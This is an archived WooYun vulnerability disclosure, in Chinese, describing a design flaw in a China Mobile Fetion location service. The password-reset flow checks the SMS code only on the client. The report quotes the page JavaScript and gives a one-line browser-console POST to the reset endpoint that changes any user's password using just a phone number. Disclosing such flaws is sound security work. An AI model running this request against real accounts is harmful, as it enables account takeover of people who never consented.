当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-037365

漏洞标题:飞信位缘某处设计缺陷可修改任意用户密码(非爆破)

相关厂商:139移动互联

漏洞作者: 索马里的海贼

提交时间:2013-09-17 12:16

修复时间:2013-09-22 12:17

公开时间:2013-09-22 12:17

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-17: 细节已通知厂商并且等待厂商处理中
2013-09-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

额。。为什么还有3呢。。。。。

详细说明:

注册 登陆 都绕过了 为什么还有三呢
如果是已经注册的用户该怎么弄到他的号呢,找回密码
来看看找回密码的逻辑

function stepSubmit(){
var phone=$.trim($("#phone").val());
var validatecode=$.trim($("#validatecode").val());
if(phone==null||phone==""){
alert('请输入手机号');
return;
}
if(validatecode==null||validatecode==""){
alert('请输入验证码');
return;
}
$.ajax({
url: '/passport/passport/getPasswordStep.action?flag=phone&validatecode='+$.trim($("#validatecode").val())+'&phone='+$.trim($("#phone").val())+'&match='+Math.random(),
type: "POST",
success: function(res){
var jsonObj = eval("(" + res + ")");
var resData=jsonObj.PasswordResult;
if(resData=="3"){
alert("本日内您已经下发3次,请明天再试");
return;
} else if(resData=="-1"){
alert("下发短信失败,请稍后再试");
return;
}else if(resData=="0"||resData=="1"||resData=="2"){
alert("短信验证码发送成功!");//下发成功就直接跳了 那不管下发了 直接跟到下一个页面
window.location= '/passport/passport/getpassword1.action?mobile=' + phone;
}else{
reload_imaP();
alert(jsonObj.PasswordResult);
return;
}
}
})
}


直接打开/passport/passport/getpassword1.action?mobile=13622222222

function validate(){
var phoneValidate=$.trim($("#mobile").val());
if(phoneValidate==null||phoneValidate==""){
alert('请输入手机验证码');
return;
}
$.ajax({
url: '/passport/passport/codeValidate.action?flag=login&value='+$.trim($("#mobile").val())+'&phone='+mobile+'&match='+Math.random(),
type: "POST",
success: function(res)
{
var jsonObj = eval("(" + res + ")");
var resData=jsonObj.PasswordResult;
if( jsonObj.code == "false")
{
if(resData=="1"){
alert('验证码超时失效');
}else{
alert('请输入正确验证码');
}
return;
}
else
{
window.location= '/passport/passport/getpassword2.action'; //我去 又直接跳了
}
},
failure: function(res){
alert('请输入正确验证码');
return;
}
});
}


再跟到下一个页面/passport/passport/getpassword2.action

function changePwd(){
var first=$.trim($("#newPassword").val());
var second=$.trim($("#pnewPassword").val());
//省略
var mobile = '13622222222';
//省略
var params = {};
params["newpassword"] = first;
params["mobile"] = mobile;
$.ajax({
url: '/passport/passport/changePwd.action',
type:"post",
dataType:"text",
data:params,
error:function () {
alert("error");
},
success: function(res){
var jsonObj = eval("(" + res + ")");
var resData=jsonObj.PasswordResult;

if(resData== "ok"){ //这。。。我了个去
alert("修改成功");

setTimeout('jumpPage()',1000);
}else if(resData== "false"){
alert("修改失败");
}else{
alert(resData);
}
}
})
}


最后提交修改密码的步骤 只提交了手机号和新密码 短验又无视了

漏洞证明:

直接打开http://lbs.feixin.10086.cn//passport/passport/getpassword2.action
其实不打开这个页面都无所谓

reset.png


f12 console
$.post('/passport/passport/changePwd.action', 'mobile=13622222222&newpassword=a!11111111',function(data){alert(data);});

reset2.png


回车走你

reset3.png


这是成功了吧,拿新密码用上一个绕过短验登陆的exp测试 OK 又进去了
终于完了 不会有四了 这仨漏洞加一块已经秒杀所有用户了

修复方案:

关键逻辑在服务端做判断

版权声明:转载请注明来源 索马里的海贼@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-09-22 12:17

厂商回复:

最新状态:

暂无